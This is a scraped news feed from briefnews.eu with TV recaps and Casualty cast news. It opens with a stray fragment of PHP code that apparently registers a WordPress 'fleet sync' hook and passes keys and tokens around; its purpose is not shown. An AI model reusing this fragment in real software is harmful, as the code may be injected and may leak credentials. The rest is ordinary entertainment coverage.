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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Casualty – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 02 Nov 2020 06:19:51 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Casualty – Brief News https://briefnews.eu 32 32 Fear the Walking Dead Recap: [Spoiler] Becomes Season 6’s First Big Casualty https://briefnews.eu/fear-the-walking-dead-recap-spoiler-becomes-season-6s-first-big-casualty/ https://briefnews.eu/fear-the-walking-dead-recap-spoiler-becomes-season-6s-first-big-casualty/#respond Mon, 02 Nov 2020 06:19:51 +0000 https://briefnews.eu/fear-the-walking-dead-recap-spoiler-becomes-season-6s-first-big-casualty/ Warning: The following contains spoilers for Sunday’s heartbreaking Fear the Walking Dead. If you’d rather watch first, cry later, off you go.

In Sunday’s Fear the Walking Dead, John resolved himself to give up even the thing that he wanted most in the world — to see June again — in order to do right. And despite the sacrifice that he was willing to make, his efforts still went horrifically wrong. How? Keep reading.

fear the walking dead recap season 6 episode 4 janice dies key‘YOU CAN’T EXACTLY INVESTIGATE BAD LUCK’ | In the prologue to “The Key,” John voiceover’d a letter that he was secretly sending June with Janice’s help. In it, he recalled that his father (and later he himself) had become a cop because he believed “people deserve to live in a world where they know which way is up, but they can’t know that till someone helps them know it.” If nothing else, in Lawton, where he was now a Ranger, people knew which way was up. No sooner had he mentioned that they hadn’t lost anyone in the better part of a year than night-shift watchman and budding sketch artist Cameron was found tangled up in his own home’s barbed-wire face being eaten by walkers. Bummer, said Ginny. She’d warned him about his drinking. Hmm, John didn’t have to say. He went all Columbo on the crime scene and found a diamond earring in the dirt where Cameron had been added to the zombies’ dinner menu.

Later, Strand came by Lawton for an Intersettlement Council meeting and offered John his help with the investigation. Until this reunion, John didn’t know that his friend had been “pinned” by Ginny, and even after it, he still didn’t know that Strand had sent Alicia away so that he could do bad things for good reasons once again. After Janice told John that the earring he found wasn’t hers and, what’s more, she barely knew Cameron, our hero suggested to Ginny that maybe the dead man had been pushed. Unlike her, he didn’t just want to make people feel safe, he wanted to make them… well, safe. At Cameron’s funeral, John approached a curiously woebegone Dakota but was interrupted thatfast by Ginny. Just then, Janice was caught trying to sneak out of Lawton. In her bag? Of course, the matching earring. The plot thickens!

fear the walking dead recap season 6 episode 4 janice dies key‘AN EXAMPLE WILL NEED TO BE MADE’ | Once behind bars, Janice admitted to John when confronted with a sketch of her that Cameron had made that fine, they had been lovers. They’d been hiding it from Ginny, lest she use it against them, and had been planning to flee Lawton. Naturally, she suspected that Ginny had planted the earring in her bag. When John subsequently beseeched Ginny to let him further investigate, she questioned whether he was going on intuition… or a reluctance to lose his carrier pigeon. Yep, thanks to Cameron, she’d read all of his letters to June. Not that she was mad — they proved that he believed in the cause. So although Janice would have to serve as a warning to other potential perps, Ginny was proud of the work that she and John were doing. “And I think your daddy would be, too,” she added. (Not cool, Ginny.) When John left her office, he ran into Dakota who came right out and said that yes, her sister was protecting someone.

Determined to get to the bottom of things, John waited until nightfall, then dug up Cameron’s body — his throat had been slit, Dorie discovered just before he was joined in the grave by a couple of walkers looking to make up the grossest cuddle puddle ever. The next day, John showed Strand the evidence… which, unfortunately, had been kinda gnawed on overnight. Dang it! At least John still had a shard of knife handle that he’d found in the dead man’s hand. Whoever checked out that weapon from the armory, he deduced, must be the killer. So needless to say, that page of the log had been torn out. Still, John vowed to get Janice out of the hot seat. She didn’t want that, though. She had given up and was willing to make the confession that Ginny demanded of her. All she wanted anymore was for John to take the supplies that she and Cameron had amassed and run away with June.

‘THIS PLACE DESTROYS EVERYTHING’ | During a visit with Jacob, John admitted that he was going to be like his father had been when he busted a serial killer with manufactured evidence — he was going to break the rules to set things right, even if that meant that he’d never see June again. He even went so far as to give the rabbi a letter to give his wife. But when John went to bust Janice free ahead of her daybreak execution, he discovered that she was already dead (and, for that matter, turned). Ginny had tied her outside the gates with a boombox blaring to draw walkers. The following morning, John had murder in his eyes when Strand confessed that he’d told Ginny that Janice was a flight risk. A brutal fight ensued, one that would’ve ended in a gunshot, had Jacob not kept John from reaching his gun. He was most definitely not in a place to hear from Victor that if he had run off with Janice, Ginny would’ve had them both hunted down and killed.

Later, John, no doubt choking back bile, stood by Ginny as she speechified to the residents of Lawton on his behalf and awarded him a golden Key to the Future, “our future.” (Was that a nod to The Walking Dead’s Georgie, because none of this seemed like her at all.) “I think,” Ginny added, “you’ll find this honor affords you many privileges.” Such as… the following morning, June showed up at John’s door — she’d been transferred to Lawton! Finally, bookending the episode were Morgan scenes in which he found a message from Daniel, one that revealed that Grace was at the Gulch. The barber also left his friend Grace’s sweater, which Morgan hoped to use to put Rufus’ nose to good use. Before he could, though, their truck was T-boned by a couple of thugs out to get the key that Emile had been supposed to give them. After Morgan dispatched them in badass fashion, he gazed at the key around his neck and wondered aloud, “What the hell do you unlock?” Submarine, maybe?

What do you think the key is, well, the key to? Weren’t you sorry to see Janice killed off so quickly? I dug her defiance! And who do you believe really killed Cameron? Dakota, right? Hit the comments.

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]]> https://briefnews.eu/fear-the-walking-dead-recap-spoiler-becomes-season-6s-first-big-casualty/feed/ 0 Siren’s Mermaid War Claims at Least One Major Casualty — Grade the Finale https://briefnews.eu/sirens-mermaid-war-claims-at-least-one-major-casualty-grade-the-finale/ https://briefnews.eu/sirens-mermaid-war-claims-at-least-one-major-casualty-grade-the-finale/#respond Fri, 29 May 2020 03:13:56 +0000 https://briefnews.eu/sirens-mermaid-war-claims-at-least-one-major-casualty-grade-the-finale/

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Siren‘s third season finale made good on its promise of a full-scale mermaid war, as Ryn and her fellow fish-people vowed to rescue Hope and end Tia’s reign of terror once and for all.

Though Tia’s massive army of mer-soldiers appeared to have the upper fin on Thursday, Ryn surprised her enemy (and herself) by coming at Tia with an even bigger squad. The battle was wild, bloody and completely insane, but it was all worth it to see Tia’s lifeless body sink into the dark depths. Not only did Ryn win the battle, but judging by the other mermaids’ reverence, she also earned their devotion.

While the battle raged, Ben took advantage of the chaos to infiltrate Tia’s underwater prison, where he managed to successfully rescue Hope. Unfortunately, that required Ben to reveal himself to the mer-guards, and while Ben managed to take out one of them with his crossbow, there were two others ready to pounce.

So, what happened to Ben, exactly? That’s the million-dollar question. One of the final shots of the finale was Ben floating in the water, seemingly having his recurring dream of a “normal” future with Ryn and Hope. And even though Maddie urged Ryn to move on with her life, the heartbroken mermaid appears determined to wait for Ben’s safe return… whenever that is.

Also worth discussing…

* While Ben’s fate remains a bit of a mystery, the finale did give us one confirmed loss: Maddie’s stepfather, Dale Bishop. His body was discovered in the woods during a town-wide sweep for survivors of Tia’s attack. Watching her say goodbye to Ryn was a bummer, but an international work trip might be just what Maddie needs right now.

* On a happier note, Xander graduated from the police academy! Yay!

* I also appreciated Ted and Helen working together to help the people of Bristol Cove, but my short-lived faith in Ben’s father quickly evaporated when he spoke about his son’s recent developments. “He’s not the boy Elaine and I raised,” Ted said. “He’s something… else.” (First of all, who are you, Oliver Queen? And second, I hope he’s something else. Bring on Mer-Ben in Season 4!)

Your thoughts on Siren‘s third season finale? Grade it below, then drop a comment with your full review.


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]]> https://briefnews.eu/sirens-mermaid-war-claims-at-least-one-major-casualty-grade-the-finale/feed/ 0 BAFTA launch once-in-a-lifetime opportunity with Sex Education creator and Casualty star https://briefnews.eu/bafta-launch-once-in-a-lifetime-opportunity-with-sex-education-creator-and-casualty-star/ https://briefnews.eu/bafta-launch-once-in-a-lifetime-opportunity-with-sex-education-creator-and-casualty-star/#respond Sun, 08 Mar 2020 02:58:04 +0000 https://briefnews.eu/bafta-launch-once-in-a-lifetime-opportunity-with-sex-education-creator-and-casualty-star/

For those looking to get involved in television and film, BAFTA is offering the chance for women hoping to carve out a career in the industry to speak to the likes of Sex Education screenwriter Laurie Nunn and actress Aisling Bea.

BAFTA Connects is a once-in-a-lifetime opportunity for 19 aspiring female creatives, looking to build a career in film, games or television.

Amongst those taking part are Amanda Mealing, actor and director, who is well-known for her role in Casualty as Connie Beauchamp, and James Bond producer Barbara Broccoli.

This Country star and screenwriter Daisy May Cooper and broadcast Edith Bowman are also participating.

Jo Twist, CEO of Ukie, UK’s games and interactive entertainment industry trade body, will also be available to offer guidance and advice.

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The full list of leading female creatives who will be on hand to offer tips and guidance includes:

· Sandy Powell- costume designer (The Irishman, The Young Victoria)

· Aisling Bea- screenwriter and actor (This Way Up, Living With Yourself, The Fall)

· Laurie Nunn- screenwriter (Sex Education)

· Delyth Thomas – director (Victoria, The Worst Witch, The Story of Tracey Beaker)

· Amanda Mealing- actor and director (Four Weddings and a Funeral, Casualty, The Dumping Ground)

· Coco Jackson- television producer (Dancing on Ice, The Voice)

· Adrienne Law – games producer (Monument Valley 2, Assemble with Care)

· Phoebe De Gaye – costume designer (Killing Eve, The Spanish Princess)

· Barbara Broccoli – film producer (James Bond series, Film Stars Don’t Die in Liverpool, The Rhythm Section)

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· Nainita Desai – composer (For Sama, The Royal Wedding: Prince Harry and Meghan Markle)

· Elizabeth Karlsen – film producer (Carol, Collette, On Chesil Beach)

· Daisy May Cooper- screenwriter and actor (This Country, The Personal History of David Copperfield)

· Edith Bowman- broadcaster (Glastonbury, Saving Planet Earth, The Vue Film Show)

· Lindy Hemming- costume designer ( Paddington 1 & 2, Wonder Woman)

· Pippa Harris – film and television producer (1917, Call the Midwife, The Hollow Crown, Revolutionary Road)

· Arianne Philips- costume designer (Once Upon a Time… In Hollywood, A Single Man, Walk The Line)

· Pippa Bennett-Warner- actress (Johnny English Strikes Again, Harlots, World of War Craft)

· Stella Corradi- director (Macbeth, The Party, Little Soldier)

· Jo Tist- CEO of Ukie, UK’s games and interactive entertainment industry trade body

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Need to catch up? Read our previous How to Get Away With Murder recap here.

Here’s something we’ve known since How to Get Away With Murder’s very first episode: You don’t want to mess with Michaela Pratt. (Need I remind you of her fabulously sassy, “Pay attention. You might learn something.” from the show’s pilot? She’s always been a boss.)

But a whole lot of Murder characters have made the mistake of breaking the don’t-cross-Michaela rule — including two gentlemen in Thursday’s episode. Meanwhile, someone in Annalise’s inner circle was put in grave peril. Let’s break down what happened in “I Hate the World”:

TAKE YOUR DAUGHTER TO WORK DAY | After lying to their classmates that they’re spending a weekend in the Poconos, Michaela and Gabriel head to New York City, where Michaela’s birth father, Solomon Vick, is giving the keynote lecture at a swanky conference. His talk is titled “Using Male Privilege to Invest in Female Power,” and even though his feminism comes off a bit misogynistic, the mostly female audience eats up everything he says. He’s also creating a $ 500 million fund to invest in women entrepreneurs, which gets another loud round of applause… but Michaela isn’t impressed.

The next day, during Solomon’s second panel at the conference, Michaela stands up in the audience for a little impromptu Q&A, asking Solomon if he holds himself accountable in his personal life as much as he does in his professional life. He assures Michaela that he does, and she asks if he’s ever slept with a client. After all, if he had, that would mean he takes advantage of vulnerable women, which would make his feminist message seem a little thin, no? Solomon adamantly denies that he’s ever done anything like that, but he keeps his eye on Michaela — who used the alias Laurel Castillo during their confrontation — even after she’s done talking.

HTGAWM Season 6Of course, Michaela didn’t just find Solomon to get mad at him in a public setting: She also wants to get some of his DNA for a paternity test. After unsuccessfully trying to swipe a glass he’d used at the hotel bar, Michaela later sneaks into Solomon’s room when housekeeping opens his door. She manages to snag some of his toiletries, like a comb and toothbrush — but Solomon comes back to the room before Michaela can leave. He catches her just as she’s trying to make a stealthy exit, then says, “I know you’re Michaela.” Michaela, completely stunned and speechless, simply bursts into tears and leaves the room without replying.

Later, Michaela pulls herself together and heads down to the bar, where Solomon is having a drink. When he offers her a seat, she has one request: “Only if I get to ask you whatever questions I want.” Solomon agrees, confessing that “I’ve been waiting for this day a long time.”

Throughout Michaela’s pursuit of her father, Gabriel offers consistent moral support — but when Michaela suggests breaking into Solomon’s hotel room at one point, Gabriel’s not into it. He’s annoyed that Michaela won’t just have a conversation with her father, considering they’re staying in the same hotel, when the only connection Gabriel can have with Sam is the sound of his voice on those tapes of Annalise’s therapy. He and Michaela exchange some harsh words (“Maybe this is why people leave you. Because you won’t listen to anybody but yourself,” Gabriel remarks), and she ultimately tells him to get out if he can’t support the way her journey with Solomon is unfolding.

But Gabriel has another pressing issue to address: Upon returning to Philly, he confronts Annalise with one of her therapy recordings, in which she’s discussing her recent breakup with Eve. Despite Annalise’s consistent argument that Sam manipulated her into a relationship, her voice on the recording says differently: “I met someone else. A man. He’s kind, caring, handsome — problem is, he’s my therapist.”

Elsewhere in the hour…

* Nate’s conversation with the FBI picks up where it left off last week: The agents will give him intel on his father’s murder if he’s willing to contribute to the Annalise investigation. They even tempt him with a job at the FBI if he helps them. (And “Special Agent Lahey” does have a nice ring to it.) But Nate refuses to assist with the Annalise sitch until his father’s case is closed — and after Bonnie swipes Tegan’s divorce papers from her desk, she gives them to Nate, who then gives them to the FBI. The divorce papers contain all of Tegan and Cora’s financial information, and surely the agents can find some connection that leads back to the Castillos.

As it turns out, Tegan’s money is linked to the Castillos; she owns stock in a company called Barrington Holdings, which apparently Laurel owns. Bonnie suggests that the company is merely in Laurel’s name, and it could mean nothing. But Nate counters that Tegan may have helped Laurel run away, and perhaps this stock — which is worth a whole lotta dough — is how Laurel paid her for her service. Later, Bonnie comes clean to Tegan about peeking at her divorce papers, and she doesn’t think Tegan should sign them. After all, her stock in Barrington Holdings has only become more valuable since separating from Cora, and why should Cora get half of those dividends when she doesn’t deserve them?

That’s when Tegan reveals — well, “reveals,” depending on whether you believe her or not — that Jorge Castillo gifted her that stock years ago, back when she worked at Caplan & Gold’s Mexico office. “I regret what I did to get it,” she sadly tells Bonnie. Later, Bonnie takes this intel back to Nate, who isn’t so easily convinced that Tegan’s a good guy. On the contrary, he thinks Tegan has figured out that Bonnie and Nate are digging into her, and she must have spun that story to cover her booty.

Bonnie is disappointed in Nate’s skepticism, and she’s even more heartbroken to realize he’s talking to the FBI. Nate tries to assure her the situation isn’t like that, but he’s interrupted by a knock at Bonnie’s door. When she opens it, a limp body slumps to the floor: It’s a very bloody Frank, and he looks very close to death.

* Annalise goes on an ice cream date with Robert, a lawyer who assisted with Caplan & Gold’s latest case. She’s suspicious that he works for the FBI, but Robert insists that he’s spending time with Annalise because he’s genuinely interested in her. What’s more, she shares some of her most damning secrets — the alcoholism, the accusations of killing Sam, etc. — and he doesn’t seem alarmed by them. Granted, Robert doesn’t want to fix Annalise, and he won’t chase after her, but he’s excited to spend more time with her, if she wants that.

* Oliver and Connor have a ssssteamy threesome with someone they meet on a dating app. Asher, on the other hand, is excited to match with a gorgeous supermodel on the same app… only to discover he’s been catfished by his own sister, who arrives in Philadelphia wanting to talk.

* In this week’s (brief) flash forward, the FBI agents call for a medic after Connor collapses to the floor, and Michaela — who’s dressed in her graduation gown — pounds on the wall connecting her room with Connor’s, frantically asking if he’s OK. Girl, that’s a hard no.

Your thoughts on Murder‘s fourth installment? Drop ’em in a comment below.

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]]> https://briefnews.eu/htgawm-recap-pratt-falls-plus-is-spoiler-the-seasons-first-casualty/feed/ 0 Casualty spoilers: Nurse Duffy’s heartbreaking exit revealed as Cathy Shipton quits drama https://briefnews.eu/casualty-spoilers-nurse-duffys-heartbreaking-exit-revealed-as-cathy-shipton-quits-drama/ https://briefnews.eu/casualty-spoilers-nurse-duffys-heartbreaking-exit-revealed-as-cathy-shipton-quits-drama/#respond Wed, 09 Oct 2019 08:35:26 +0000 http://briefnews.eu/casualty-spoilers-nurse-duffys-heartbreaking-exit-revealed-as-cathy-shipton-quits-drama/

Now, it has been revealed Duffy will say goodby to not only the hospital but Holby altogether.

It’s not yet know how she will leave the BBC medical drama but it will certainly be heartbreaking for fans.

Actress Cathy is one of the BBC drama’s longest serving cast members and has appeared in over 350 episodes.

Throughout the show’s history, she has explored important and significant topics such as sexual assault, HIV, suicide, grief and mental health.

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]]> https://briefnews.eu/casualty-spoilers-nurse-duffys-heartbreaking-exit-revealed-as-cathy-shipton-quits-drama/feed/ 0 Casualty spoilers: Jacob Masters in turmoil as he makes heartbreaking discovery? https://briefnews.eu/casualty-spoilers-jacob-masters-in-turmoil-as-he-makes-heartbreaking-discovery/ https://briefnews.eu/casualty-spoilers-jacob-masters-in-turmoil-as-he-makes-heartbreaking-discovery/#respond Sat, 15 Jun 2019 18:21:29 +0000 http://briefnews.eu/casualty-spoilers-jacob-masters-in-turmoil-as-he-makes-heartbreaking-discovery/

Viewers will watch nurse Jacob Masters (played by Charles Venn) discover some heartbreaking news about his mother Omo’s (Ellen Thomas) health in tonight’s episode.

Over the last few weeks Omo has been manipulated by drug dealer Jet Campbell (Seroca Davis) who has moved into her home and tricked her into believing she’s actually looking after her.

In tonight’s episode Jacob storms round to Omo’s house in a bid to make her see sense but ends up in a heated exchanged with Jet.

Casualty star Charles admits: “We’ve seen Jacob feeling helpless to protect his vulnerable mother from Jet, who has been using Omo’s house to sell drugs from and taking advantage of her. 

“But Jacob is a dogged individual and this week he decides to go back to the house and tells Jet he’s coming in, whether she likes it or not,” he told What’s On TV.

When asked how Jet reacts to Jacob, Charles revealed: “She resists and tries to stop Jacob coming in, so he pushes the door. 

“But in doing so, Jet falls to the floor and hurts her wrist. 

“And, of course, being manipulative, Jet takes advantage of what’s happened and makes a scene, like she’s the victim and Jacob deliberately hurt her.”

However Jacob ends up accompanying Jet and his mum to the Emergency Department and makes a shocking discovery about his mum’s health.

Jet has been selling Omo’s prescribed medication and substituting it with ineffective replacements. 

Now Jacob is aware of what Jet’s been really up to will he be able to convince Omo she’s bad news?

Omo had previously washed her hands of Jacob leading to Jet swooping in to take advantage.

But now Jacob has proof of Jet’s shady dealings it looks like he’ll finally be able to reconcile with his mum.

Meanwhile Casualty star Michael Stevenson has filmed his final scenes for the BBC medical drama. 

Paramedic Iain Dean has spent six years with the Emergency Department and the show has confirmed they are happy for him to return.

After wrapping up his final scenes Michael took to Twitter to share a message with his fans.

“Thanks for keeping me warm coat. Just hang here for a while, I won’t need you this summer!” he shared alongside a picture of his paramedic jacket.

“Six years done. Memories banked. Laughs laughed. And several exploding cars, collapsing buildings and ambulances crashed! 

“Until next time… x #casualty #bbccasualty #iaindean,” he added.

Michael’s final scenes as paramedic Iain will air in autumn. 

Casualty continues tonight at 8.25pm on BBC One. 

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Elle Gardner (played by Jaye Griffith) left the Emergency Department in tonight’s episode of Casualty, but her final attempt to reach out to colleague and friend Connie Beauchamp (Amanda Mealing), left viewers in tears.

During her final shift, Elle noticed that Connie was still suffering from anxiety after her recent attack at the hands of a patient’s husband who blamed Connie for his wife’s death.

Snapping at Elle, Connie refused to acknowledge that anything was wrong and pushed her friend further away.

However, once she had finished her final day in the ED, Elle tried one last attempt to reach out to Connie by giving her the name of a therapist.

Explaining her change of plans to Connie, Elle revealed: “I’m not taking the job, and I am not staying either. Connie I can’t do this anymore, I tried really hard to be your friend, but you didn’t really try to be mine, did you?”

“It’s not your fault, you’ve never done it before, I don’t know what’s going on with you but I think you need proper help,” she continued before giving Connie a therapist contact.

Elle added: “She’s good, she’ll need to be,” as Connie remained silent for the entire interaction.

Connie was then told a troubleshooter would be sent to the ED to address some of the recent problems. 

Watching Elle walk out the door, Connie rushed to catch her and cried out: “Elle,” but Elle couldn’t hear her.

The emotional scene left some viewers in tears as they took to Twitter to comment.

One said: “Most frustrating end to an episode of casualty ever Connie is breaking my heart #casualty.”

“The pain in Connie’s voice when she shouted Elle and Ellen didn’t hear! #casualty,” added another.

“Omg ok that END SCENE HAS MADE ME CRY! I know all too easy how easy it is to just dismiss having a HARD time and the one person who sees it in you, and you don’t want to admit it so you push them away until it’s too late #Casualty,” said a third.

“Awwww why did Elle have to leave!! She was one of my faves!! #Casualty,” another fan remarked.

A fifth wrote: “That “ell” Connie did broke me, she does consider her a friend whether ell knows it or not #casualty.”

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His love interest Ciara Cassidy (played by Belinda Stewart-Wilson) upped and left a few weeks ago in what were sad scenes.

Tonight’s episode of the BBC programme saw Dylan (William Beck) hesitating to read a Christmas card sent from her.

But David (Jason Durr) stepped in to do it as the pair closed the episode.

He read aloud: “Dear Dylan, a card from the blue, if you haven’t already torn me up you’ll be relieved to know this is simply to let you know I’m alive.

“I think of you even though it hurts, but slowly I’m finding my way.

“I’m dry, I’m well, and day by day the sun shines a little brighter. I hope it does for you too, Merry Christmas.”

In a rare display of candid emotion, Dylan said: “I miss her.”

“Yeah I know,” David replied before adding: “Look, I’m doing all the trimmings.”

“Yeah, thanks,” Dylan simply replied.

“What are friends for, ay?” David replied just before the credits began to roll.

The understated emotional moment between the two friends really got to viewers.

Those watching at home took to Twitter to comment how they had been brought to tears by the pair of them.

One wrote: “That ep was b****y brilliant. I cried. Although I’m disappointed in that end scene (not the acting as Will and Jason are the best) but idk I want Ciara back and Dylan happy #Casualty.”

“Noooo Dylan don’t cry #casualty,” another added.

“Well that was brilliant. So many issues addressed and then, right at the end, David and Dylan. There’s something in my eye. #Casualty,” a third admitted.

A fourth wrote: “I’m not crying you are, @grinningsimp @jasedurr just wow. so so emotional. The hubby is laughing at me for crying #CasualtyChristmasSpecial #Casualty.”

Meanwhile, some fans are still hoping Ciara will return and that the pair can rekindle their relationship.

“#Casualty ciara please come back and make dylan happy because it hurts to see him sad,” one lamented.

A second shared: “I’m really hoping that Ciara comes back and they get back together #casualty.”

Casualty continues on January 5th on BBC One.

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George Rainsford, who plays Ethan Hardy in the show, revealed the true secret to keeping Casualty a success after 32 years.

Speaking to Express.co.uk, George explained: “Casualty has been around for 32 years so it keeps challenging itself.

“It keeps challenging the viewers and keeps producing big stories which people can relate to, hopefully.”

He noted: “It keeps championing the .”

George’s character Ethan started as a consultant who in the emergency department of Holby City Hospital in 2014.

Following Connie Beauchamp’s (played by Amanda Mealing) return in mid-2018, Ethan became Deputy Clinical Lead of the department, continuing as a consultant at the same time.

Revealing what fans of the show say to him in real life, George laughed that medical professionals tease him about his lack of knowledge.

He chuckled: “I play Ethan in the show. When nurses and doctors come up to me in the street they give me advice like how to give CPR better. Or ‘You had the stethoscope on wrong’.”

Last night’s continuation of the soap saw paramedic Sam Nicholls (Charlotte Salt) die from a serious shrapnel injury.

Her death came after a tanker explosion tore up the motorway.

Sam’s colleague Iain Dean (Michael Stevenson) was forced to swerve the ambulance after a girl made a suicide attempt from the overpass.

Ruby Spark (Maddy Hill) and Alicia Munroe (Chelsea Halfpenny) were left trapped in the back of the ambulance after the vehicle overturned.

Sam realised she was bleeding from the liver before collapsing and dying in the back of an ambulance.

Will Iain manage to move on professionally, or will he blame himself for Sam’s death?

Taking to Twitter ahead of last night’s episode, actor George revealed several endings were recorded in order to keep the plot a secret.

He posted: “All jokes aside we actually filmed 72 different endings for tonight’s #Casualty season opener, including a musical one, so none of us know what’s going to happen. #prayforDervla.”

He later added: “Also bless you all (including some press) who thought I genuinely didn’t know which of the characters (including me!) was going to die in the episode!

“I’ve been filming for the past 5 months! #72differentendings #Casualty3006.”

Casualty continues on Saturday on One at 8.40pm.

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She has previously starred in The Tudors and The Musketeers for the BBC, Sky’s Bedlam and the 2007 film Beowulf.

Charlotte, 32, lives in Oxfordshire with her husband, former Casualty actor Oliver Coleman, and their one-year-old son, Leo.

“I normally get weekends off from Casualty, so on Friday night I drive back from Cardiff to my home in Oxfordshire. Leo is usually asleep when I get in and Oliver will have cooked dinner, so we sit down together and catch up.

“With a small child, I don’t get a lie-in in the mornings, but as I won’t have seen him for a few days I don’t mind at all. Getting up early, I find we fit so much more into the day.

“On Saturdays, we’ll see the family and friends that I don’t get a chance to during the week. I’ll make the effort to go into London for brunch or lunch – I do much more during the daytime than evenings now.

“On Saturday night, we might have people round for dinner or go to a friend’s house, then when the kids are in bed we might watch a movie.

“We live in such a beautiful part of the country that on Sundays, we normally go to a local pub or somewhere like Soho Farmhouse or Artist Residence – the food there’s amazing. A long Sunday lunch is my favourite thing – it has to be a roast.

“Sunday nights are quiet, too, and I’ll get ready for heading back to Cardiff on Monday morning for another week of filming. I’ve got some big storylines coming up in Casualty, so my schedule has been busier than normal recently.

“My favourite part of the weekend is Saturday afternoon, as I know I’ve still got a whole other day ahead. For me, weekends are all about spending time with my family.” 

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